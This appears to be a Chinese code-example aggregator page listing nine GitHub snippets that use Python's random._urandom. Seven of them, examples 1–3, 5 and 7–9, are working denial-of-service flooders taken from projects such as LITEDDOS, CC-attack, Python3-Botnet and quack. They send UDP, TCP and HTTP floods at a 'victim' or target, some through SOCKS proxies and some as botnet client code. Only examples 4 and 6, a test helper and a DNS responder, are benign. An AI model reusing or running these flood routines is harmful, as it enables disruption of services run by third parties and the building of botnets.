當前位置: 首頁>>代碼示例>>Python>>正文


Python random._urandom方法代碼示例

本文整理匯總了Python中random._urandom方法的典型用法代碼示例。如果您正苦於以下問題:Python random._urandom方法的具體用法?Python random._urandom怎麽用?Python random._urandom使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在random的用法示例。


在下文中一共展示了random._urandom方法的9個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: flood

# 需要導入模塊: import random [as 別名]
# 或者: from random import _urandom [as 別名]
def flood(victim, vport, duration):
    # Support us yaakk... :)
    # Okey Jadi disini saya membuat server, Ketika saya memanggil "SOCK_DGRAM" itu  menunjukkan  UDP type program
    client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    # 20000 representasi satu byte ke server
    bytes = random._urandom(20000)
    timeout =  time.time() + duration
    sent = 3000

    while 1:
        if time.time() > timeout:
            break
        else:
            pass
        client.sendto(bytes, (victim, vport))
        sent = sent + 1
        print "\033[1;91mMemulai \033[1;32m%s \033[1;91mmengirim paket \033[1;32m%s \033[1;91mpada port \033[1;32m%s "%(sent, victim, vport) 
開發者ID:4L13199,項目名稱:LITEDDOS,代碼行數:19,代碼來源:LITEDDOS.py

示例2: post

# 需要導入模塊: import random [as 別名]
# 或者: from random import _urandom [as 別名]
def post(event,socks_type):
	global data
	post_host = "POST " + url2 + " HTTP/1.1\r\nHost: " + ip + "\r\n"
	content = "Content-Type: application/x-www-form-urlencoded\r\n"
	refer = "Referer: http://"+ ip + url2 + "\r\n"
	user_agent = "User-Agent: " + random.choice(useragents) + "\r\n"
	accept = Choice(acceptall)
	if mode2 != "y":
		data = str(random._urandom(16)) # You can enable bring data in HTTP Header
	length = "Content-Length: "+str(len(data))+" \r\nConnection: Keep-Alive\r\n"
	if cookies != "":
		length += "Cookies: "+str(cookies)+"\r\n"
	request = post_host + accept + refer + content + user_agent + length + "\n" + data + "\r\n\r\n"
	proxy = Choice(proxies).strip().split(":")
	event.wait()
	while True:
		try:
			s = socks.socksocket()
			if socks_type == 4:
				s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
			if socks_type == 5:
				s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
			if brute:
				s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
			s.connect((str(ip), int(port)))
			if str(port) == '443': # //AUTO Enable SSL MODE :)
				ctx = ssl.SSLContext()
				s = ctx.wrap_socket(s,server_hostname=ip)
			try:
				for _ in range(multiple):
					s.sendall(str.encode(request))
			except:
				s.close()
			print ("[*] Post Flooding from  | "+str(proxy[0])+":"+str(proxy[1]))
		except:
			s.close() 
開發者ID:Leeon123,項目名稱:CC-attack,代碼行數:38,代碼來源:cc.py

示例3: UDP

# 需要導入模塊: import random [as 別名]
# 或者: from random import _urandom [as 別名]
def UDP(ip, port, size):
	global stop
	while True:
		if stop :
			break
		udpbytes = random._urandom(int(size))
		sendip=(str(ip),int(port))
		s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
		try:
			for y in range(thread):
				s.sendto(udpbytes, sendip)
			s.close()
		except:
			s.close() 
開發者ID:Leeon123,項目名稱:Python3-Botnet,代碼行數:16,代碼來源:bot.py

示例4: _get_file_hash

# 需要導入模塊: import random [as 別名]
# 或者: from random import _urandom [as 別名]
def _get_file_hash(self):
        title = ''.join([random.choice(ascii_letters) for i in range(10)])
        with open('/tmp/test', 'w') as f:
            f.write(random._urandom(100))

        f = File('/tmp/test', testnet=True, title=title)
        return f.file_hash, f.file_hash_metadata 
開發者ID:ascribe,項目名稱:pyspool,代碼行數:9,代碼來源:test_spool.py

示例5: UDP

# 需要導入模塊: import random [as 別名]
# 或者: from random import _urandom [as 別名]
def UDP(ip, port, size):#udp flood(best size is 512-1024, if size too big router may filter it)
	global stop
	while True:
		if stop :
			break
		sendip=(str(ip),int(port))
		s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
		try:
			for y in range(200):
				udpbytes = random._urandom(int(size))
				s.sendto(udpbytes, sendip)
			s.close()
		except:
			s.close() 
開發者ID:Leeon123,項目名稱:Aoyama,代碼行數:16,代碼來源:client.py

示例6: handle_ul

# 需要導入模塊: import random [as 別名]
# 或者: from random import _urandom [as 別名]
def handle_ul(self, ipbuf):
        # check if we have an UDP/53 request
        ip_vers, ip_proto, (udpsrc, udpdst) = \
            ord(ipbuf[0:1])>>4, ord(ipbuf[9:10]), unpack('!HH', ipbuf[20:24])
        if ip_vers != 4 or ip_proto != 53 or udp_dst != 53:
            # not IPv4, not UDP or not on DNS port 53
            return
        
        # build the UDP / DNS response: invert src / dst UDP ports
        if self.UDP_CS:
            udp = UDP(val={'src':udpdst, 'dst':udpsrc}, hier=1)
        else:
            udp = UDP(val={'src':udpdst, 'dst':udpsrc, 'cs':0}, hier=1)
        # DNS request: transaction id, flags, questions, queries
        dnsreq = ipbuf[28:]
        transac_id, questions, queries = dnsreq[0:2], \
                                         unpack('!H', dnsreq[4:6])[0], \
                                         dnsreq[12:]
        if questions > 1:
            # not supported
            self._log('WNG', '%i questions, unsupported' % questions)
        # DNS response: transaction id, flags, questions, answer RRs, 
        # author RRs, add RRs, queries, answers, autor nameservers, add records
        if self.RAND:
            ip_resp = _urandom(4)
        else:
            ip_resp = inet_aton(self.IP_RESP)
        dnsresp = b''.join((transac_id, b'\x81\x80\0\x01\0\x01\0\0\0\0', queries,
                            b'\xc0\x0c\0\x01\0\x01\0\0\0\x20\0\x04', ip_resp))
        
        # build the IPv4 header: invert src / dst addr
        ipsrc, ipdst = inet_ntoa(ipbuf[12:16]), inet_ntoa(ipbuf[16:20])
        iphdr = IPv4(val={'src':ipdst, 'dst':ipsrc}, hier=0)
        #
        pkt = Envelope('p', GEN=(iphdr, udp, Buf('dns', val=dnsresp, hier=2)))
        # send back the DNS response
        self.GTPUd.transfer_v4_to_int(pkt.to_bytes())
        if self.DEBUG:
            self.GTPUd._log('DBG', '[DNSRESP] DNS response sent') 
開發者ID:P1sec,項目名稱:pycrate,代碼行數:41,代碼來源:ServerGTPU.py

示例7: UDP_ATTACK

# 需要導入模塊: import random [as 別名]
# 或者: from random import _urandom [as 別名]
def UDP_ATTACK(threads, attack_time, target):
	# Finish
	global FINISH
	FINISH = False
	target_ip = target.split(":")[0]
	target_port = int(target.split(":")[1])

	print("\033[1;34m"+"[*]"+"\033[0m"+" Starting UDP attack...")
	

	threads_list = []

	# UDP flood
	def udp_flood():
		global FINISH
		# Create socket
		sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
		while True:
			if FINISH:
				break
			# Send random payload
			try:
				for _ in range(16):
					payload = random._urandom(random.randint(1, 60))
					sock.sendto(payload, (target_ip, target_port))
			except Exception as e:
				print(e)
			else:
				print("\033[1;32m"+"[+]"+"\033[0m"+" UDP packet with size " + str(len(payload)) + " was sent!")

	# Start threads
	for thread in range(threads):
		print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread)+ "...")
		t = Thread(target = udp_flood)
		t.start()
		threads_list.append(t)
	# Sleep selected secounds
	time.sleep(attack_time)
	# Terminate threads
	for thread in threads_list:
		FINISH = True
		thread.join()
	
	print("\033[1;77m"+"[i]"+"\033[0m"+" Attack completed.") 
開發者ID:entynetproject,項目名稱:quack,代碼行數:46,代碼來源:udp.py

示例8: TCP_ATTACK

# 需要導入模塊: import random [as 別名]
# 或者: from random import _urandom [as 別名]
def TCP_ATTACK(threads, attack_time, target):
	# Finish
	global FINISH
	FINISH = False
	target_ip = target.split(":")[0]
	target_port = int(target.split(":")[1])

	print("\033[1;34m"+"[*]"+"\033[0m"+" Starting TCP attack...")
	

	threads_list = []

	# TCP flood
	def tcp_flood():
		global FINISH

		while True:
			if FINISH:
				break
			
			# Create socket
			try:
				sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
				sock.connect((target_ip, target_port))
			except Exception as e:
				print(e)
				print("\033[1;31m"+"[-]"+"\033[0m"+" Failed to create TCP connection!")
				exit()

			# Send random payload
			try:
				for _ in range(16):
					payload = random._urandom(random.randint(1, 120))
					sock.send(payload)
			except Exception as e:
				print(e)
				time.sleep(0.25)
				continue
			else:
				print("\033[1;32m"+"[+]"+"\033[0m"+" TCP packet with size " + str(len(payload)) + " was sent!")

	# Start threads
	for thread in range(threads):
		print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...")
		t = Thread(target = tcp_flood)
		t.start()
		threads_list.append(t)
	# Sleep selected secounds
	time.sleep(attack_time)
	# Terminate threads
	for thread in threads_list:
		FINISH = True
		thread.join()
	
	print("\033[1;77m"+"[i]"+"\033[0m"+" Attack completed.") 
開發者ID:entynetproject,項目名稱:quack,代碼行數:57,代碼來源:tcp.py

示例9: HTTP_ATTACK

# 需要導入模塊: import random [as 別名]
# 或者: from random import _urandom [as 別名]
def HTTP_ATTACK(threads, attack_time, target):
	# Finish
	global FINISH
	FINISH = False

	if ipTools.isCloudFlare(target):
		print("\033[1;33m"+"[!]"+"\033[0m"+" This site is under CloudFlare protection.")
		if input("\033[1;77m"+"[?]"+"\033[0m"+" Continue HTTP attack? (y/n): ").strip(" ").lower() != "y":
			exit()

	print("\033[1;34m"+"[*]"+"\033[0m"+" Starting HTTP attack...")
	
	threads_list = []
	# Load 25 random user agents
	user_agents = []
	for _ in range(threads):
		user_agents.append( randomData.random_useragent() )


	# HTTP flood
	def http_flood():
		global FINISH
		while True:
			if FINISH:
				break
			payload = str(random._urandom(random.randint(1, 30)))
			headers = {
				"X-Requested-With": "XMLHttpRequest",
				"Connection": "keep-alive",
				"Pragma": "no-cache",
				"Cache-Control": "no-cache",
				"Accept-Encoding": "gzip, deflate, br",
				"User-agent": random.choice(user_agents)
			}
			try:
				r = requests.get(target, params = payload)
			except Exception as e:
				print(e)
				time.sleep(2)
			else:
				print("\033[1;32m"+"[+]"+"\033[0m"+" HTTP packet with size " + str(len(payload)) + " was sent!")


	# Start threads
	for thread in range(0, threads):
		print("\033[1;34m"+"[*]"+"\033[0m"+" Staring thread " + str(thread) + "...")
		t = Thread(target = http_flood)
		t.start()
		threads_list.append(t)
	# Sleep selected secounds
	time.sleep(attack_time)
	# Terminate threads
	for thread in threads_list:
		FINISH = True
		thread.join()
	
	print("\033[1;77m"+"[i]"+"\033[0m"+" Attack completed.") 
開發者ID:entynetproject,項目名稱:quack,代碼行數:59,代碼來源:http.py


注:本文中的random._urandom方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。